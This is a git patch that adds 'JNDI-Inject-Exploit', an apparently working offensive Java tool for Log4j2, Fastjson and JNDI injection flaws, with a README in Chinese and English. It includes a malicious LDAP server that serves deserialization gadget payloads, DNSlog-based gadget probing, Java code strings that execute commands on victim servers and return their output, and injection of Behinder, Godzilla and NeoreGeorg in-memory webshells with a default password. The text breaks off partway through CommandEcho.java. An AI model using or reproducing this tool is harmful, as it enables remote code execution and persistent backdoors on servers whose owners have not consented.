From 33021efdff46b999e99629a76f31a3f4ffb2be16 Mon Sep 17 00:00:00 2001 From: SearchNull <43846937@qq.com> Date: Sun, 26 Dec 2021 14:36:55 +0800 Subject: [PATCH] First commit --- .gitignore | 4 + README.md | 126 +++ pom.xml | 26 + src/main/java/io/github/exp1orer/StartUp.java | 369 ++++++++ .../io/github/exp1orer/server/LDAPServer.java | 135 +++ .../io/github/exp1orer/util/CommandEcho.java | 792 ++++++++++++++++++ .../java/io/github/exp1orer/util/Config.java | 42 + .../java/io/github/exp1orer/util/Dnslog.java | 43 + .../github/exp1orer/util/GeneratePayload.java | 43 + .../io/github/exp1orer/util/HttpUtil.java | 152 ++++ .../io/github/exp1orer/util/MemoryShell.java | 112 +++ .../java/io/github/exp1orer/util/Parser.java | 59 ++ src/main/resources/BehinderFilter.class | Bin 0 -> 9897 bytes src/main/resources/BehinderServlet.class | Bin 0 -> 13926 bytes src/main/resources/GodzillaFilter.class | Bin 0 -> 11109 bytes src/main/resources/GodzillaServlet.class | Bin 0 -> 15049 bytes src/main/resources/MyObjectLoader.class | Bin 0 -> 4040 bytes src/main/resources/NeoreGeorgFilter.class | Bin 0 -> 16730 bytes src/main/resources/NeoreGeorgServlet.class | Bin 0 -> 20942 bytes 19 files changed, 1903 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 pom.xml create mode 100644 src/main/java/io/github/exp1orer/StartUp.java create mode 100644 src/main/java/io/github/exp1orer/server/LDAPServer.java create mode 100644 src/main/java/io/github/exp1orer/util/CommandEcho.java create mode 100644 src/main/java/io/github/exp1orer/util/Config.java create mode 100644 src/main/java/io/github/exp1orer/util/Dnslog.java create mode 100644 src/main/java/io/github/exp1orer/util/GeneratePayload.java create mode 100644 src/main/java/io/github/exp1orer/util/HttpUtil.java create mode 100644 src/main/java/io/github/exp1orer/util/MemoryShell.java create mode 100644 src/main/java/io/github/exp1orer/util/Parser.java create mode 100644 src/main/resources/BehinderFilter.class create mode 100644 src/main/resources/BehinderServlet.class create mode 100644 src/main/resources/GodzillaFilter.class create mode 100644 src/main/resources/GodzillaServlet.class create mode 100644 src/main/resources/MyObjectLoader.class create mode 100644 src/main/resources/NeoreGeorgFilter.class create mode 100644 src/main/resources/NeoreGeorgServlet.class diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f139ce0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +.idea/ +out/ +target/ +config.properties \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..166e148 --- /dev/null +++ b/README.md @@ -0,0 +1,126 @@ +# JNDI-Inject-Exploit + +## Introduce + +> 本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类,通过LDAP服务器返回原生Java反序列化数据,受害者(客户端)在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。 +> +> Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gadgets to achieve command execution, echo command execution, and memory shell injection + +## Usage + +```shell +java -jar JNDI-Inject-Exploit-[version]-all.jar +``` + +无指定任何参数的情况下将显示帮助信息. + +``` +Usage: +java -jar JNDI-Inject-Exploit-0.1-all.jar [options] + +Options: + ip LDAP Server IP(如VPS则指定公网IP) + port LDAP Server 监听端口,默认为1389 + url 目标URL,指定headers和body参数可发送完整HTTP请求 + method 指定HTTP请求方法,默认为GET + headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value + body 指定HTTP请求体内容 + proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S) +``` + +**支持探测以下Gadget** + +* BeanShell1 +* CommonsBeanutils1 +* CommonsBeanutils2 +* CommonsCollections1 +* CommonsCollections2 +* CommonsCollections3 +* CommonsCollections4 +* CommonsCollections5 +* CommonsCollections6 +* CommonsCollections7 +* CommonsCollections8 +* CommonsCollections9 +* CommonsCollections10 +* CommonsCollectionsK1 +* CommonsCollectionsK2 +* CommonsCollectionsK3 +* CommonsCollectionsK4 +* Groovy1 +* Weblogic2555 +* Jdk7u21 +* ROME +* Spring1 +* Spring2 + +## Config + +> 使用该工具必须在运行目录下新建 `config.properties`文件,配置DNSLOG平台信息,以下是示例配置文件。 +> +> JNDI注入的漏洞场景为必须出网环境,因此使用Dnslog平台探测Gadget,sleep属性指定发送Gadget Payload后等待Dnslog平台的响应时间(具体数值根据网络环境及Dnslog平台自定义)。 + +```properties +# Dnslog平台名称(非必须) +Platform=ceye +# Dnslog平台查询API +Api=http://api.ceye.io/v1/records?token={token}&type=dns&filter={filter} +# Dnslog平台鉴权Token +Token=xxxx +# Dnslog平台顶级域名 +Domain=xxxx.ceye.io +# 等待Dnslog平台响应时间(非必须,默认为5秒) +Sleep=10 +# 开启LDAP请求日志打印 +EnableLDAPLog=False +# 开启Http请求日志打印 +EnableHttpLog=False +``` + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226143410.png) + +## Example + +**LDAP查询的对象名称可为任意字符(示例为EvilObject),LDAPServer拦截客户端搜索结果获取查询名称,并根据该名称返回结果,因此查询任何名称均可运行。** + +``` +java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168.0.118:8190/log?id=$%7bjndi:ldap://192.168.0.104:1389/EvilObject%7d" +``` + +**Gadget探测** + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) + +**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马** + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) + +**回显命令执行** + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142425.png) + +**切换为普通命令执行gadget并执行 `calc` 命令** + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142509.png) + +(目标受害机成功执行命令) + +![img](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211217172927.png) + +## MemoryShell + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123751.png) + +**内存马注入 (默认内存马路径为/favicondemo.ico, 密码为pass1024), 回显Memory shell inject success表示注入成功. (NeoreGeorg不支持自定义密码, 默认密码为pass1024, 路径可自定义)** + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123915.png) + +![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221124124.png) + +## References + +**本项目参考自以下优秀的开源项目:** + +[wyzxxz/shiro_rce_tool: shiro 反序列 命令执行辅助检测工具](https://github.com/wyzxxz/shiro_rce_tool) + +[feihong-cs/Java-Rce-Echo: Java RCE 回显测试代码](https://github.com/feihong-cs/Java-Rce-Echo) \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..4821cdb --- /dev/null +++ b/pom.xml @@ -0,0 +1,26 @@ + + + 4.0.0 + + io.github.exp1orer + JNDI-Inject-Exploit + 0.1-SNAPSHOT + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + + + + \ No newline at end of file diff --git a/src/main/java/io/github/exp1orer/StartUp.java b/src/main/java/io/github/exp1orer/StartUp.java new file mode 100644 index 0000000..6d98347 --- /dev/null +++ b/src/main/java/io/github/exp1orer/StartUp.java @@ -0,0 +1,369 @@ +package io.github.exp1orer; + +import io.github.exp1orer.server.LDAPServer; +import io.github.exp1orer.util.*; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.util.*; + +/** + * @author SearchNull + */ +public class StartUp { + private static Map options; + private static LDAPServer ldapServer; + private static String ip; + private static int port; + private static String url; + private static String method; + private static Map headers; + private static String body; + private static Proxy proxy; + private static Scanner sc; + private static String command; + private static String commandResult = ""; + private static boolean runFlag = false; + private static List validGadget = new ArrayList(); + private static Map> validCommandEcho = new HashMap>(); + private static List memoryShell = new ArrayList(); + private static String[] commandEcho = new String[]{ + "directive:LinuxEcho", + "directive:WindowsEcho", + "directive:SpringEcho1", + "directive:SpringEcho2", +// "directive:Tomcat6Echo", +// "directive:Tomcat78Echo", +// "directive:Tomcat9Echo", + "directive:TomcatEcho", + "directive:TomcatEcho2", + "directive:WeblogicEcho1", + "directive:WeblogicEcho2", + "directive:JettyEcho", + "directive:AutoFindRequestEcho", +// "directive:WriteFileEcho", +// "directive:WriteClass" + }; + + public static void main(String[] args) { + Parser parser = new Parser(); + options = parser.parse(args); + + if (options.get("ip") == null || options.get("url") == null) { + printUsage(); + System.exit(1); + } else { + initial(); + run(); + System.exit(1); + } + } + + /** + * @description: 初始化操作 + * @return void + */ + private static void initial() { + ip = options.get("ip"); + port = Integer.parseInt(options.get("port") == null ? "1389" : options.get("port")); + url = options.get("url"); + method = options.get("method") == null ? "GET" : options.get("method"); + headers = Parser.parseHeaders(options.get("headers")); + body = options.get("body"); + if (options.get("proxy") != null) { + String[] proxies = options.get("proxy").split(":", 2); + proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); + } + memoryShell.add("BehinderFilter"); + memoryShell.add("BehinderServlet"); + memoryShell.add("GodzillaFilter"); + memoryShell.add("GodzillaServlet"); + memoryShell.add("NeoreGeorgFilter"); + memoryShell.add("NeoreGeorgServlet"); + + try { + Class.forName("io.github.exp1orer.util.Config"); + } catch (ClassNotFoundException classNotFoundException) { + classNotFoundException.printStackTrace(); + } + } + + /** + * @description: 打印帮助信息 + */ + private static void printUsage() { + System.out.println("Log4jShell Author:SearchNull\n"); + System.out.println("Usage: \n"); + System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" + + "\n" + + "Options:\n" + + " ip LDAP Server IP(如VPS则指定公网IP)\n" + + " port LDAP Server 监听端口,默认为1389\n" + + " url 目标URL,指定headers和body参数可发送完整HTTP请求\n" + + " method 指定HTTP请求方法,默认为GET\n" + + " headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value\n" + + " body 指定HTTP请求体内容\n" + + " proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)"); + System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\""); + } + + /** + * @description: 打印可用gadget + */ + private static void printGadget() { + for (int i = 0; i < validGadget.size(); i++) { + String payloadType = validGadget.get(i); + if (validCommandEcho.get(payloadType) != null) { + System.out.println(String.format("[%d] %s - %s - %s", i ,payloadType, validCommandEcho.get(payloadType), memoryShell)); + } else if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) { + System.out.println(String.format("[%d] %s - %s", i, payloadType, memoryShell)); + } else { + System.out.println(String.format("[%d] %s", i, payloadType)); + } + } + } + + /** + * @description: 主程序运行 + * @return boolean + * @author: SearchNull + */ + private static boolean run() { + int num = 0; + + ldapServer = new LDAPServer(ip, port); + Thread threadldap = new Thread(ldapServer); + threadldap.start(); + // 等待LDAPServer运行 + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + boolean gadget = checkGadget(ldapServer); + if (gadget) { + boolean result = checkCommandEcho(); + printGadget(); + + while (true) { + sc = new Scanner(System.in); + try { + if (runFlag) { + executeCmd(num); + continue; + } + System.out.println("[+] Please enter the number (0-" + String.valueOf(validGadget.size() - 1) + ")" + ", enter q or quit to quit"); + System.out.print("> "); + String option = sc.nextLine().trim(); + if ("q".equalsIgnoreCase(option) || "quit".equalsIgnoreCase(option)) { + break; + } else { + int n = Integer.parseInt(option); + num = n; + if (n >= 0 && n < validGadget.size()) { + runFlag = true; + executeCmd(n); + } + } + } catch (IOException ioException) { + ioException.printStackTrace(); + } + } + } else { + System.out.println("[-] No gadget can be use, quit."); + System.exit(1); + } + + return true; + } + + /** + * @description: 从标准输入获取命令通过反序列化gadget执行 + */ + private static void executeCmd(int i) throws IOException { + System.out.println("[+] Please enter command the execute, enter q or quit to quit, enter back to re-choore gadget, enter shell name inject memory shell"); + System.out.print("> "); + command = sc.nextLine().trim(); + if ("q".equalsIgnoreCase(command) || "quit".equalsIgnoreCase(command)) { + System.exit(1); + } else if ("back".equalsIgnoreCase(command)) { + printGadget(); + runFlag = false; + return; + } else if (memoryShell.contains(command)) { + if (validCommandEcho.get(validGadget.get(i)) != null) { + String path, pwd; + LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(i), "code=" + MemoryShell.process(command)); + System.out.print("MemoryShell path (default: /favicondemo.ico)> "); + path = sc.nextLine().trim(); + if (!"NeoreGeorgFilter".equalsIgnoreCase(command) && !"NeoreGeorgServlet".equalsIgnoreCase(command)) { + System.out.print("MemoryShell pwd (default: pass1024) > "); + pwd = sc.nextLine().trim(); + } else { + pwd = "pass1024"; + } + + if (path.length() > 1 && pwd.length() > 1) { + Map tempHeaders = headers; + tempHeaders.put("path", path); + tempHeaders.put("p", pwd); + boolean resp = HttpUtil.connection(url, method, tempHeaders, body, proxy); + } else { + boolean resp = HttpUtil.connection(url, method, headers, body, proxy); + } + + if (HttpUtil.getResponseBody().indexOf("->|Success|<-") != -1) { + System.out.println("[+] Memory shell inject success"); + } + } + return; + } + + boolean commandExecuteStatus = runCommand(i, command); + if (commandExecuteStatus && !"".equals(commandResult)) { + System.out.println(commandResult); + commandResult = ""; + } + } + + /** + * @description: 检测Gadget + * @param ldapServer LDAPServer对象 + * @return boolean + * @author: SearchNull + */ + private static boolean checkGadget(LDAPServer ldapServer) { + Map tempRecord = new HashMap(); + String dnslog; + for (String gadget : ldapServer.gadgets) { + System.out.println("[*] Check " + gadget); + dnslog = Dnslog.getRandomDomain(4); + LDAPServer.serializedData = GeneratePayload.getPayload(gadget, "ping -nc 1 " + dnslog); + tempRecord.put(dnslog, gadget); + boolean resp = HttpUtil.connection(url, method, headers, body, proxy); + } + // 等待Dnslog平台响应 + try { + Thread.sleep(Dnslog.sleep * 1000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + for (String domain : tempRecord.keySet()) { + boolean record = Dnslog.getRecord(domain); + if (record) { + ldapServer.gadgetFlag = true; + validGadget.add(tempRecord.get(domain)); + } + } + + return ldapServer.gadgetFlag; + } + + /** + * @description: 检测命令回显 + * @return boolean + * @author: SearchNull + */ + private static boolean checkCommandEcho() { + String line; + String respContent; + String uuid = UUID.randomUUID().toString(); + String command = "echo " + uuid; + if (headers == null) { + headers = new HashMap(); + headers.put("cmd", command); + } else { + headers.put("cmd", command); + } + + for (int i = 0; i < validGadget.size(); i++) { + List validCommandEchoType = new ArrayList(); + String payloadType = validGadget.get(i); + System.out.println("[+] Can be use " + payloadType); + if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) { + System.out.println("[*] Check command echo"); + for (String commandType : commandEcho) { + System.out.println("[*] Check " + commandType.split(":")[1]); + if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) { + commandType += ":" + command; + } + String code = "code=" + CommandEcho.process(commandType); + LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, code); + + boolean resp = HttpUtil.connection(url, method, headers, body, proxy); + try { + respContent = HttpUtil.getResponseBody(); + if (respContent.contains(uuid)) { + ldapServer.echoFlag = true; + validCommandEchoType.add(commandType.split(":")[1]); + } + } catch (IOException io) { + io.printStackTrace(); + } + } + + if (ldapServer.echoFlag && validCommandEchoType.size() > 0) { + validCommandEcho.put(payloadType, validCommandEchoType); + } + + } + } + + return ldapServer.echoFlag; + } + + /** + * @description: 指定Gadget执行命令 + * @param index validGadget索引 + * @param command 执行的命令 + * @return boolean + * @author: SearchNull + */ + private static boolean runCommand(int index, String command) { + String line; + String respContent; + if (headers == null) { + headers = new HashMap(); + } + if (validCommandEcho.get(validGadget.get(index)) != null) { + List commandEchoType = validCommandEcho.get(validGadget.get(index)); + String flagStr1 = Parser.getRandomStr(10); + String flagStr2 = Parser.getRandomStr(10); + String cmd = String.format("echo %s && %s && echo %s", flagStr1, command, flagStr2); + headers.put("cmd", cmd); + + for (int i = 0; i < commandEchoType.size(); i++) { + String commandType = "directive:" + commandEchoType.get(i); + if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) { + commandType += ":" + cmd; + } + String code = "code=" + CommandEcho.process(commandType); + LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(index), code); + boolean resp = HttpUtil.connection(url, method, headers, body, proxy); + try { + respContent = HttpUtil.getResponseBody(); + if (respContent.contains(flagStr1) && respContent.contains(flagStr2)) { + commandResult = respContent.substring(respContent.indexOf(flagStr1) + flagStr1.length(), respContent.indexOf(flagStr2)); + break; + } + } catch (IOException io) { + io.printStackTrace(); + } + } + } else if (validGadget.get(index) != null) { + String payloadType = validGadget.get(index); + LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, command); + boolean resp = HttpUtil.connection(url, method, headers, body, proxy); + if (resp) { + return true; + } + } else { + return false; + } + + return true; + } +} \ No newline at end of file diff --git a/src/main/java/io/github/exp1orer/server/LDAPServer.java b/src/main/java/io/github/exp1orer/server/LDAPServer.java new file mode 100644 index 0000000..af1cc99 --- /dev/null +++ b/src/main/java/io/github/exp1orer/server/LDAPServer.java @@ -0,0 +1,135 @@ +package io.github.exp1orer.server; + +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.listener.interceptor.InterceptedSearchOperation; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import com.unboundid.util.Base64; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.UnknownHostException; +import java.text.ParseException; +import java.util.HashMap; +import java.util.Map; + +public class LDAPServer implements Runnable { + private static final String LDAP_BASE = "dc=example,dc=com"; + private String gadget = "CommonsBeanutils1"; + private Integer port; + private String ip; + + public boolean gadgetFlag; + public boolean echoFlag; + public static String serializedData; + public static boolean enableLDAPLog; + public static Map gadgetType = new HashMap(); + public final String[] gadgets = new String[]{ + "BeanShell1", + "CommonsBeanutils1", + "CommonsBeanutils2", + "CommonsCollections1", + "CommonsCollections2", + "CommonsCollections3", + "CommonsCollections4", + "CommonsCollections5", + "CommonsCollections6", + "CommonsCollections7", + "CommonsCollections8", + "CommonsCollections9", + "CommonsCollections10", + "CommonsCollectionsK1", + "CommonsCollectionsK2", + "CommonsCollectionsK3", + "CommonsCollectionsK4", + "Groovy1", + "Weblogic2555", + "Jdk7u21", + "ROME", + "Spring1", + "Spring2" + }; + + public LDAPServer(String ip, int port) { + this.ip = ip; + this.port = port; + } + + public LDAPServer(String ip, int port, String gadget) { + this.ip = ip; + this.port = port; + this.gadget = gadget; + } + + @Override + public void run() { + try { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig("listen", + InetAddress.getByName("0.0.0.0"), port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(String.format("http://%s:%d/#Object", ip, port)))); + InMemoryDirectoryServer server = new InMemoryDirectoryServer(config); + System.out.println("[+] LDAP Listening on: " + ip + ":" + String.valueOf(port)); + server.startListening(); + } catch (LDAPException e) { + System.out.println("LDAP Server启动失败,异常信息: " + e.toString()); + } catch (UnknownHostException unknownHostException) { + unknownHostException.printStackTrace(); + } catch (MalformedURLException urlException) { + urlException.printStackTrace(); + } + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + private URL codebase; + + public OperationInterceptor(URL codebase) { + this.codebase = codebase; + } + + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = result.getRequest().getBaseDN(); + if (result.getConnectedAddress() != null && enableLDAPLog) { + System.out.println("[*] LDAP request from address: " + ((InterceptedSearchOperation) result).getClientConnection().getSocket().getInetAddress().getHostAddress()); + } + if (base.trim().length() >= 1) { + Entry entry = new Entry(base); + try { + sendResult(result, base, entry); + } catch (LDAPException e) { + e.printStackTrace(); + } + } + } + + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException { + e.addAttribute("javaClassName", "foo"); + try { + e.addAttribute("javaSerializedData", Base64.decode(LDAPServer.serializedData)); + } catch (ParseException parseException) { + parseException.printStackTrace(); + } + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + } + + static { + gadgetType.put("commandExecute", "BeanShell1,CommonsBeanutils2,CommonsCollections1,CommonsCollections5,CommonsCollections6,CommonsCollections7,CommonsCollections9,CommonsCollectionsK3,CommonsCollectionsK4,Groovy1,Weblogic2555"); + gadgetType.put("codeExecute", "CommonsBeanutils1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections8,CommonsCollections10,CommonsCollectionsK1,CommonsCollectionsK2,Jdk7u21,ROME,Spring1,Spring2"); + } +} diff --git a/src/main/java/io/github/exp1orer/util/CommandEcho.java b/src/main/java/io/github/exp1orer/util/CommandEcho.java new file mode 100644 index 0000000..7364421 --- /dev/null +++ b/src/main/java/io/github/exp1orer/util/CommandEcho.java @@ -0,0 +1,792 @@ +package io.github.exp1orer.util; + +import java.io.*; +import java.util.Arrays; +import sun.misc.BASE64Decoder; +import sun.misc.BASE64Encoder; + +public class CommandEcho { + public static String process(String command){ + if(command == null || "".equals(command.trim())){ + return ""; + } + + command = command.trim(); + if(command.startsWith("directive:sleep")){ + long time = Long.parseLong(command.split(":", 3)[2]); + return sleep(time); + }else if(command.startsWith("directive:LinuxEcho")){ + return linuxEcho(command); + }else if(command.startsWith("directive:WindowsEcho")){ + return windowsEcho(command); + }else if(command.startsWith("directive:SpringEcho1")){ + return springEcho1(); + }else if(command.startsWith("directive:SpringEcho2")){ + return springEcho2(); + }else if(command.startsWith("directive:Tomcat6Echo")) { + return tomcat6Echo(); + }else if(command.startsWith("directive:Tomcat78Echo")) { + return tomcat78Echo(); + }else if(command.startsWith("directive:Tomcat9Echo")) { + return tomcat9Echo(); + }else if(command.startsWith("directive:TomcatEcho")){ + return tomcatEcho(); + }else if(command.startsWith("directive:TomcatEcho2")) { + return tomcatEcho2(); + }else if(command.startsWith("directive:WeblogicEcho1")){ + return weblogicEcho1(); + }else if(command.startsWith("directive:WeblogicEcho2")){ + return weblogicEcho2(command); + }else if(command.startsWith("directive:ResinEcho")){ + return resinEcho(); + }else if(command.startsWith("directive:JettyEcho")){ + return jettyEcho(); + }else if(command.startsWith("directive:AutoFindRequestEcho")){ + return autoFindRequestEcho(); + }else if(command.startsWith("directive:WriteFileEcho")){ + return wirteFileEcho(command); + }else if(command.startsWith("directive:WriteClass")){ + return writeClass(Integer.parseInt(command.split(":",3)[2])); + } else if(command.startsWith("directive:Shell")){ + return shell(command); + }else{ + return "java.lang.Runtime.getRuntime().exec(\"" + + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + + "\");"; + } + } + + public static String sleep(long seconds){ + long time = seconds * 1000; + String code = "java.lang.Thread.sleep((long)" + time + ");"; + return code; + } + + public static String linuxEcho(String command){ + String cmd = command.split(":", 3)[2]; + cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); + + String code = " if(java.io.File.separator.equals(\"/\")){\n" + + " String command = \"ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\\\"[\\\"}''{print $2}'|sed 's/.$//'\";\n" + + " String[] cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" + + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" + + " java.util.List res1 = new java.util.ArrayList();\n" + + " String line = \"\";\n" + + " while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" + + " res1.add(line);\n" + + " }\n" + + " br.close();\n" + + "\n" + + " try {\n" + + " Thread.sleep((long)2000);\n" + + " } catch (InterruptedException e) {\n" + + " //pass\n" + + " }\n" + + "\n" + + " command = \"ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'\";\n" + + " cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" + + " br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" + + " java.util.List res2 = new java.util.ArrayList();\n" + + " while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" + + " res2.add(line);\n" + + " }\n" + + " br.close();\n" + + "\n" + + " int index = 0;\n" + + " int max = 0;\n" + + " for(int i = 0; i < res2.size(); i++){\n" + + " try{\n" + + " String socketNo = ((String)res2.get(i)).split(\"\\\\s+\")[1].substring(8);\n" + + " socketNo = socketNo.substring(0, socketNo.length() - 1);\n" + + " for(int j = 0; j < res1.size(); j++){\n" + + " if(!socketNo.equals(res1.get(j))) continue;\n" + + "\n" + + " if(Integer.parseInt(socketNo) > max) {\n" + + " max = Integer.parseInt(socketNo);\n" + + " index = j;\n" + + " }\n" + + " break;\n" + + " }\n" + + " }catch(Exception e){\n" + + " //pass\n" + + " }\n" + + " }\n" + + "\n" + + " int fd = Integer.parseInt(((String)res2.get(index)).split(\"\\\\s\")[0]);\n" + + " java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});\n" + + " c.setAccessible(true);\n" + + " cmd = new String[]{\"/bin/sh\", \"-c\", \"" + cmd + "\"};\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + " String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + res.length() + \"\\n\\n\" + res + \"\\n\";\n" + + " java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));\n" + + " os.write(result.getBytes());\n" + + " }"; + + return code; + } + + public static String springEcho1(){ + String code = " java.lang.reflect.Method method = Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"getRequestAttributes\", null);\n" + + " Object requestAttributes = method.invoke(null,null);\n" + + "\n" + + " method = requestAttributes.getClass().getMethod(\"getRequest\", null);\n" + + " Object request = method.invoke(requestAttributes , null);\n" + + "\n" + + " method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + + " String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " method = requestAttributes.getClass().getMethod(\"getResponse\", null);\n" + + " Object response = method.invoke(requestAttributes , null);\n" + + "\n" + + " method = response.getClass().getMethod(\"getWriter\", null);\n" + + " java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" + + " printWriter.println(res);"; + + return code; + } + + public static String springEcho2(){ + String code = "java.lang.reflect.Method method = Class.forName(\"org.springframework.webflow.context.ExternalContextHolder\").getMethod(\"getExternalContext\", null);\n" + + " Object servletExternalContext = method.invoke(null,null);\n" + + "\n" + + " method = servletExternalContext.getClass().getMethod(\"getNativeRequest\", null);\n" + + " Object request = method.invoke(servletExternalContext , null);\n" + + "\n" + + " method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + + " String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" + + " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + + "\n" + + " method = servletExternalContext.getClass().getMethod(\"getNativeResponse\", null);\n" + + " Object response = method.invoke(servletExternalContext , null);\n" + + "\n" + + " method = response.getClass().getMethod(\"getWriter\", null);\n" + + " java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" + + " printWriter.println(res);"; + + return code; + } + + public static String tomcat6Echo() { + String code = "Object obj = Thread.currentThread();\n" + + " java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"target\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"this$0\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"handler\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"global\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + " field = obj.getClass().getDeclaredField(\"processors\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(obj);\n" + + "\n" + + "\n" + + " java.util.List processors = (java.util.List) obj;\n" + + " for (Object o : processors) {\n" + + " field = o.getClass().getDeclaredField(\"req\");\n" + + " field.setAccessible(true);\n" + + " obj = field.get(o);\n" + + " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + + "\n" + + " java.lang.String cmd = req.getHeader(\"cmd\");\n" + + " if (cmd != null) {\n" + + " String res = new 